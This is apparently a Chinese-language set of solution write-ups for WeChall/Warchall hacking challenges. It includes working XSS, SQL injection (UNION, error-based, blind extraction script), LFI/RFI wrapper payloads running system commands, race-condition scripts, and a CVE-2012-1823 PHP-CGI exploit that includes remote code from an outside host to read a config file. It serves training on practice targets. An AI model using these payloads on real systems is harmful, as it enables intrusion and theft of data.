htmlspecialchars
htmlspecialchars()不加参数只会将双引号实体化,这里只需要单引号即可。
在本地搭建环境,代码如下:
<?php
if(isset($_GET['in']))
{
$a=$_GET['in'];
echo "<a href='http://".htmlspecialchars($a)."'>Exploit Me</a>";
echo htmlspecialchars("<a href='http://".htmlspecialchars($a)."'>Exploit Me</a>");
}
?>
输入以下代码:
http://127.0.0.1:8080/xss/test.php?in=%27%20onmouseover=%27alert(1)
然后鼠标触发即可弹窗。
Connect the Dots
盲文密码
解密为:thesolutionis***
Tracks
主要分三步:
1.注册
2.投票
3.说已投过了
通过改它请求的地址,来改变http缓存。第二步的时候发现响应头有个Etag字段,这个和请求头里面的If-None-Match
进行匹配。
修改请求头里的WC字段和VOTE字段即可。
PHP 0818
PHP弱类型
首先看一下源码:
function noother_says_correct($number)
{
$one = ord('1');
$nine = ord('9');
for ($i = 0; $i < strlen($number); $i++)
{
$digit = ord($number{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
return false;
}
}
return $number == "3735929054";
}
主要的意思就是不能是1~9
的数字,但是又要和3735929054
相等,明显是PHP弱类型由于是==,
===会比较两个变量的类型
而==只比较他们的值
比如整数0和浮点数0.0
用==比较返回TRUE
用===比较返回FLASE
3735929054的十六进制即0xdeadc0de,0又刚好不在1-9里面,符合。
Addslashes
addslashes()函数的功能是返回在预定义字符之前添加反斜杠的字符串。
主要的源码如下:
<?php
function asvsmysql_login($username, $password)
{
$username = addslashes($username);
$password = md5($password);
...
$query = "SELECT username FROM users WHERE username='$username' AND password='$password'";
...
if ($result['username'] !== 'Admin') {
return htmlDisplayError('You are logged in, but not as Admin.');
}
return htmlDisplayMessage('You are logged in. congrats!');
}
?>
addslashes()函数存在宽字节注入漏洞。原因是%bf%27本身不是一个有效的GBK字符,但经过addslashes()转换后变为%bf%5c%27,前面的%bf%5c是个有效的GBK字符,所以%bf%5c%27就会当作一个字符加一个单引号,这样漏洞就触发了。mysql_real_escape_string()也是一样。
输入
%bf%27 union select Admin%23&password=123
报错,说不识别这五个字母,然后就是把字母转换成字符
%bf%27 union select CHAR(65,100,109,105,110)%23&password=123
The Guestbook
源码很长,也没仔细看,首先就是先做了一个正常的留言,返回的结果如下:
仔细看,我们就可以发现一个蹊跷,就是返回一个ip:8.8.8.8这是我火狐的一个插件,然后我就试试,在里面插入一些恶意代码:
$query =
"CREATE TABLE IF NOT EXISTS gbook_user ( ".
"gbu_id INT(11) UNSIGNED PRIMARY KEY, ". # Guestbook userid
"gbu_name VARCHAR(63) CHARACTER SET ASCII COLLATE ascii_general_ci, ". # Guestbook username
"gbu_password VARCHAR(255) CHARACTER SET ASCII COLLATE ascii_bin ) "; # Guestbook password <-- You need the password for username Admin
$db->queryWrite($query);
上面的代码看出表名是:gbook_user
,字段:gbu_password,gbu_name
根据GET ip的查询语句,构造如下:
‘,(select gbu_password from gbook_user where gbu_name=’admin’))#
PHP 0816
题目要求我们读solution.php
这个文件。
主要就是几个参数,src,hl,mode,它是按顺序读取参数值的,
php0816SetSourceFile主要是设置显示源码的文件名,有一个白名单过滤,它会读取src,
然后是php0816execute执行程序mode=hl,
然后就是php0816addHighlights,它调用php0816Highlighter,而这个函数直接有一个getGet('src')
所以我们可以直接执行mode=hl&src=solution.php,,这样就没有访问php0816SetSourceFile这个函数。直接读取了solution.php
POC:
http://www.wechall.net/challenge/php0816/code.php?mode=hl&src=solution.php
Table Names
在username加个’ 报错了,存在注入 ,构造语句。
1' order by 4# 报错
1' order by 3# 正确
三个字段
1' and 1=2 union select 1,2,3#
显示3
1' and 1=2 union select 1,2,database()#
数据库名:gizmore_tableu61
1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x67697A6D6F72655F7461626C65753631#
两个表名:aaawrong,usertableus4
TMD 对于答案也是醉了,还得连一块:
gizmore_tableu61_usertableus4
Training: RegexMini
正则匹配
成功的要求是输入一个长度 > 16 位的一个用户名,并成功注册。
正则表达式为:
/^[a-zA-Z]{1,16}$/
在 php 的正则里面,^$
的意思是匹配前一个换行符之后,下一个换行符之前,这中间一段的字符。所以,我们只需要输入16个任意大小写字母,再加上一个换行符(%0A) 就可以了。
Are you serial
Yourself PHP
PHP的$_SERVER[‘PHP_SELF’]造成的XSS漏洞.
测试代码如下:
<?php
//require 'check.php';
if (isset($_POST['username'])){
echo sprintf("Well done %s, you entered your username. But this is not what you need to do.", htmlspecialchars($_POST['username']));
}
echo '<div class="box box_c">'.PHP_EOL;
echo sprintf('<form action="%s" method="post">', $_SERVER['PHP_SELF']).PHP_EOL;
echo sprintf('<div>Username:<input type="text" name="username" value="" /></div>').PHP_EOL;
echo sprintf('<div><input type="submit" name="deadcode" value="Submit" /></div>').PHP_EOL;
echo sprintf('</form>').PHP_EOL;
echo '</div>'.PHP_EOL;
?>
构造POC:
http://127.0.0.1:8080/xss/test1.php/"><script>alert(1);</script>
效果如下:
PHP 0819
PHP heredoc
题的意思就是让eval=’1337’,但是过滤了单引号,使用heredoc便能绕过对于引号的过滤,注入想要的字符串。
php 中的 heredoc技术是php用来引用字符串的一种方式。在phpwind中巧妙的运用了这个技术,实现了逻辑代码和界面设计的分离。
语法:
1. 使用操作符 “<<<”
2. 操作符后紧跟标识符(开始标识符),之后重起新的一行 输入要引用的字符串,可以包含变量。
3. 新的一行,顶格写结束表示符,以分号结束。
要注意到几点:
1. 标识符可以自定义 一般的 有EOT ,EOD EOF 等, 只要保持开始表示符和结束表示符一样即可。
2. 结束表示符必须独占一行,且必须顶格写,最后以 ‘;’ 分号结尾。
3. 所有引用的字符串中可以包含变量,无需字符串连接符。
例如:
echo <<<suibian
正文
正文
suibian;
// 格式应该是 <<<+任意字符x+换行+字符串+换行+任意字符x+;换行
构造POC:
http://www.wechall.net/challenge/space/php0819/index.php?eval=<<<s%0a1337%0as;%0a
MD5.SALT
简单的sql注入
最后构造语句:
‘ and 1=2 union select password,2 from users where username=”Admin”#
Order By Query
order by 注入。
1.可以使用and进行双重查询
1 and (select count(*) from products group by concat(version(),0×27202020,floor(rand(0)*2-1)))–
2.在desc/asc [参数] 之后使用双重查询
1 desc,(select count(*) from users group by concat(version(),0x27202020,floor(rand(0)*2-1)))'5.0.95-community'
具体的请参照:order by/limit之后注入
关于报错注入的一些语法请参照:报错注入方法整理
构造POC:
http://www.wechall.net/challenge/order_by_query/index.php?by=1 and ExtractValue(1,(select password from users where username=CHAR(65, 100, 109, 105, 110)))#
得到MD5:
C3CBEB0C8ADC66F2922C65E7784BE14
Can you read me
tesseract这个软件可以做ocr
Crappyshare
构造POC:
http://www.wechall.net/challenge/crappyshare/crappyshare.php?file://solution.php
当我们输入的file://参数被带入curl中执行时,原本的远程URL访问会被重定向到本地磁盘上,从而达到越权访问文件的目的
推荐一篇文章:LFI、RFI、PHP封装协议安全问题学习
Warchall: Live LFI
进去之后发现左上角,有个按钮,直改后面的参数为solution.php
,
POC1:http://lfi.warchall.net/index.php?lang=solution.php
回应如下:
teh falg si naer!
the flag is near!
PHP Warning(2): Illegal string offset 'welcome' in index.php line 12
Backtrace starts in index.php line 12.
GWF_Debug::error_handler() core/inc/util/GWF_Debug.php line 183.
本地文件包含,使用php://filter/read
读一下solution.php的源码
POC2:
http://lfi.warchall.net/?lang=php://filter/read=convert.base64-encode/resource=solution.php
base64解密:
<html>
<body>
<pre style="color:#000;">teh falg si naer!</pre>
<pre style="color:#fff;">the flag is near!</pre>
</body>
</html>
<?php # YOUR_TROPHY
return 'SteppinStones42Pie'; # <-´ ?>
Warchall: Live RFI
能查看页面能容的PHP伪协议,我知道的只有两种:
?file=data:text/plain,<?php system("net user")?>
?file=php://filter/read=convert.base64-encode/resource=index.php
我使用filter读协议出来了竟然:
PGh0bWw+Cjxib2R5Pgo8cHJlPk5PVEhJTkcgSEVSRT8/Pz88L3ByZT4KPC9ib2R5Pgo8L2h0bWw+CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCByZXR1cm4gJ0xvd19INE5HSU5HX0ZydWl0JzsgPz4K
但是解密发现不对有???,然后我发现base64里面有好多重复的,然后我删除点
<html>
<body>
<pre>NOTHING HERE????</pre>
</body>
</html> <?php return 'Low_H4NGING_Fruit'; ?>
好吧,,,
试了试data协议,也可以。
http://rfi.warchall.net/index.php?lang=data:text/plain,<?php system(“cat solution.php”)?>
Impossible n’est pas français
分解一个很大的数的质因数。需要6s 内提交
但是,只要我们尝试提交一次之后,就可以发现它会返回一个正确的解。
既然如此,我们只要先提交一次,然后程序读取它返回的正确数字串,再提交就可以了。
python脚本如下:
#!/usr/bin/env python
# coding=utf-8
import requests
import urllib2
import lxml
import lxml.html as H
from bs4 import BeautifulSoup
cookie = {
'WC': '9038838-0-DGwGp7VNYefa6o7o'
}
def get_number():
number_url = 'http://www.wechall.net/challenge/impossible/index.php?request=new_number'
#opener = urllib2.build_opener()
#opener.addheaders.append(('Cookie','WC=9038838-0-DGwGp7VNYefa6o7o'))
#f = opener.open(number_url)
#html = f.read()
#html = urllib2.urlopen(number_url).read()
#soup = BeautifulSoup(html)
resp = requests.get(number_url, cookies=cookie)
res =resp.content
soup = BeautifulSoup(res)
div_new = soup.find('div',{"id":"page"})
movie_new = div_new.get_text()
print movie_new
get_number()
def get_answer():
post_data = {
'solution': '',
'cmd': 'Send',
'gwf3_csrf': 'bNZbC2XL'
}
url = 'http://www.wechall.net/challenge/impossible/index.php'
resp = requests.post(url, cookies=cookie, data=post_data)
# print resp.text
d = H.document_fromstring(resp.text)
import re
ar = re.compile(r'"(\d+)"')
text = d.xpath('//div[@class=\'gwf_errors\']/ul/li')[0].text_content()
ans = ar.findall(text)[0]
print ans
post_data = {
'solution': ans,
'cmd': 'Send',
'gwf3_csrf': 'bNZbC2XL'
}
resp = requests.post(url, cookies=cookie, data=post_data)
print resp.text
get_answer()
运行结果为:
Py-Tong
查看 Python 源代码,可以发现,该程序会读取一个你指定的文件两次。
如果第一次读取成功之后,第二次尝试读取失败,返回true。
如果第一次和第二次读取得到的内容不一样,返回true。
这样,知道了这些之后,我们就可以写一个文件,去和这个程序进行竞争。
Blinded by the light
盲注
主要的代码为:
$query = “SELECT 1 FROM (SELECT password FROM blight WHERE sessid=$sessid) b WHERE password=’$password’”;
这里的 password 明显没有经过过滤就带入查询。
那么,我们可以通过 OR 盲注来让它返回不同的页面,借此来判断语句的正确性。
脚本如下:
#!/usr/bin/env python2
import urllib
import urllib2
def makePayload(statement):
return "' or substring(password, %d, 1)%s'%s" % (statement[0], statement[1], statement[2])
def checkResponse(response):
return response.find("Welcome back") > 0
def doAssert(statement):
url = 'http://www.wechall.net/challenge/blind_light/index.php'
values = {'injection':makePayload(statement),'inject':'Inject'}
data = urllib.urlencode(values)
req = urllib2.Request(url, data)
req.add_header('cookie','WC=8448003-14306-bFzUNqXxpwMud1xu')
response = urllib2.urlopen(req)
content = response.read()
return checkResponse(content)
if __name__ == "__main__":
alphalist = "0123456789ABCDEF"
result = []
for idx in range(1,33):
start = 0
end = 16 #[start, end)
while (start < end):
print("[%d, %d)" % (start, end))
if (end - start == 1):
result.append(alphalist[start])
break
else:
middle = (start + end)/2
if(doAssert([idx, '<', alphalist[middle]])):
end = middle
else:
start = middle
print ''.join(result)
Training: Net Ports
让我们链接这个主机的42端口。
curl使用 –local-port 参数,带上自己的cookies
sudo curl –local-port 42 -c ‘WC=YOUR_COOKIES’ http://www.wechall.net/challenge/training/net/ports/index.php
Pimitive Encryption
用onetime-pad xor加密的zip文件,通过zip的magic number可以确定onetime-pad的前四位,转换成char输出后发现是3.14
于是该用什么解密就很明显了,下载一个pi之后xor一下,就能还原了
Repeating History
网页和github是对应的。。
先翻到第一个
https://github.com/gizmore/gwf3/blob/565015f6561776c90f77e5623d978d70ca7bf2d3/www/challenge/subversive/repeating/what_do_you_want_here.php
然后repo内搜索solution发现了一个
https://github.com/gizmore/gwf3/blob/a98616544df4997a1bef7dfc109d35b3c6e0aab9/www/challenge/subversive/history/install.php
md5解出来是wrong,翻一下这个文件的commit记录
https://github.com/gizmore/gwf3/commit/a98616544df4997a1bef7dfc109d35b3c6e0aab9
-$solution = ‘NothingHereMoveAlong’;
+$solution = ‘2bda2998d9b0ee197da142a0447f6725’;
拼接一下:InDaxInNothingHereMoveAlong
Host Me
改http头的Host。这点很简单,但是有个问题就是,它内网有一台机器也叫做localhost。这就导致了如果是简简单单地访问localhost的话,其实访问的是那台机器而非我们做题的机器。
为了避免这个问题,我们就要使用绝对路径的 URL,就是 GET 后面的网址补全,然后 Host 再写成localhost就可以了
Stegano Woman
打开之后注释部分使用16进制编辑器打开
发现是09(tab)和20(space),把其中的一个当作1另一个当作0,换成二进制再转换成字符串之后输出即可
Quangcurrency
这题不会,没看懂,附一个别人的writeup
读题是很重要的…来把这个题目大概念出来,它是什么?concurrency对不对?又是一道竞态的题目.
只要卡着buy和click,想方设法跑到10个item就可以
cookie = {
'WC': '8429765-12152-0vjRl2XoKWFYAmvh'
}
def f1():
requests.get('http://www.wechall.net/challenge/quangcurrency/click.php', cookies=cookie)
def f2():
requests.get('http://www.wechall.net/challenge/quangcurrency/buy.php', cookies=cookie)
import requests
import threading
import time
import lxml
import lxml.html as H
import re
r = re.compile(r'\w+: (\d+)')
i = 0
while True:
i += 1
print "turn %d" % i
print 'start click'
t1 = threading.Thread(target = f1)
print 'start buy'
t2 = threading.Thread(target = f2)
t1.start()
t2.start()
t1.join()
t2.join()
text = requests.get('http://www.wechall.net/challenge/quangcurrency/stats.php', cookies=cookie).text
d = H.document_fromstring(text)
msg = d.xpath('//div[@class=\'box_c\']')[0]
# import pdb;pdb.set_trace()
a,b,c = r.findall(msg.text_content())
print 'get %s item ' % c
if int(c)>=10:
break
if int(a) < 1000:
print 'reset'
requests.get('http://www.wechall.net/challenge/quangcurrency/reset.php', cookies=cookie)
友情提示,它肯定可以跑出来,但它永远不会停下,最好自己确认这个challenge是不是已经完成了.
Stop us
关键在于这句话
‘ignore_user_abort’ => false
这句话所造成的后果就是,一个脚本当用户断开连接(关闭窗口之类的),这个脚本就会被强行终止。
再看看 php 脚本,可以发现它是先给我们添加了一个域名,之后才扣费的。
所以我们只要在扣费前关掉页面即可。
Screwed Signup
ISCC2016的一道题
SQL table里username最多24个字符,但是preg_match检查时可以最多到64个。于是这里可能造成截断.
Table Names II
http://www.wechall.net/challenge/table_names/challenge.php
?username=' union select database(),2,group_concat(0x3f,table_name) from information_schema.tables where table_schema=database() --
&password=test
&login=login
也可以这样:
http://www.wechall.net/challenge/table_names/challenge.php
?username=' union select 1,2,info from information_schema.processlist--
&password=test
&login=login
运行结果为:
Welcome back gizmore_tableu61
Your personal welcome message is: ?aaawrong,?usertableus4
This ensures you are not on a fake evil phising site.
提交:gizmore_tableu61_usertableus4
AUTH me
SSL 加密传输的问题。
访问https://authme.wechall.net/challenge/space/auth_me/www/index.php
提示说:
Error
Renegotiation is not allowed
所以我们需要去找这个证书,然后导入。
其实,你观察下它 apache.conf 的网址,
http://www.wechall.net/challenge/space/auth\_me/**find_me/apache.conf**
会发现叫做 find_me 的文件夹。直接访问
apache.conf 05-May-2015 21:18 1.0K
client.crt 05-May-2015 21:18 1.5K
client.key 05-May-2015 21:18 3.2K
client.p12 05-May-2015 21:18 4.7K
server.crt 05-May-2015 21:18 1.5K
导入client.p12 即可
Warchall: Live RCE
具体漏洞是:CVE-2012-1823(PHP-CGI RCE)
在地址后面加进参数运行对应的php-cgi 参数的行为,根据解释,如果query string中不包含未urlencoded的等号,那么整个query会以空格分词,传给php-cgi。于是我们传-s,就会把php文件源码回显。
例如 index.php?-s
相参于/usr/bin/php53-cgi/php-cgi -f index.php -s
php-cgi –help如下
Usage: php-cgi [-q] [-h] [-s] [-v] [-i] [-f <file>]
php-cgi <file> [args...]
-a Run interactively
-b <address:port>|<port> Bind Path for external FASTCGI Server mode
-C Do not chdir to the script's directory
-c <path>|<file> Look for php.ini file in this directory
-n No php.ini file will be used
-d foo[=bar] Define INI entry foo with value 'bar'
-e Generate extended information for debugger/profiler
-f <file> Parse <file>. Implies `-q'
-h This help
-i PHP information
-l Syntax check only (lint)
-m Show compiled in modules
-q Quiet-mode. Suppress HTTP Header output.
-s Display colour syntax highlighted source.
-v Version number
-w Display source with stripped comments and whitespace.
-z <file> Load Zend extension <file>.
-T <count> Measure execution time of script repeated <count> times.
查看源码:
里面包含了一个../config.php
,所以我要去读它。
在刚开始进的页面里发现index.php的目录为:
[SCRIPT\_FILENAME] => /home/level/20_live_rce/www/index.php
所以../config.php 的绝对路径是:
/home/level/20_live_rce/config.php
php-cgi参数中:
d foo[=bar] Define INI entry foo with value ‘bar’
-dallow_url_include=On
-dauto_prepend_file=/tmp/2.php
在/tmp里建立一个2.php内容是
<?php
exec("cat /home/level/20_live_rce/config.php",$out);
print_r($out);
?>
构造地址:
http://rce.warchall.net/?-d allow_url_include=On -d auto_prepend_file=http://oacotcyq8.bkt.clouddn.com/2.php -n
urlencode:
Blinded by the lighter
还是盲注,加时间延迟注入。
Light in the Darkness
这道题的错误会回显,而且限制要在2次query内得到答案,所以用error based:
POC1:
' or row(1,1) > (select count(*),concat(password,'$',floor(rand(0)*2))x from (select 1 union select 2 union select 3)a group by x limit 1) #
POC2:
' or (select count(*) from information_schema.tables group by concat(password,floor(rand(0)*2)))--
原理:
http://stackoverflow.com/questions/11787558/sql-injection-attack-what-does-this-do
简单地说,floor(rand(0)*2)会得到0,1,1,0……第2个和第3个重复的1会造成重复的group_key。而且我们需要一个行数大于3的表,所以选择information_schema
Brainfucked
alert(XXX)xxx为 文件内容。
function anonymous() {
var s = 'UnfudgedDebugStuff'; s = s.length; alert(s); document.location.href='https://www.google.co.uk';
}
eXtract Me
一个压缩包,解压发现里面一直有个压缩包,应该不是这么多
解压一次之后使用16进制打开
可以发现是两个压缩包拼接在一起的。所以我们只要把后面的压缩包扣出来即可。
还是解压,出来一个xar文件,通过 7zip 解压,出来一个又一个奇葩文件。。
但是,在解压途中会发现有一个rar 的注释是有东西的。拷贝出来,用这数据新建一个rar文件,发现需要密码。
密码为:L0LYouThInkiTSh0uldB3SoEasY?
Are you blind?
还是盲注,报错来判断。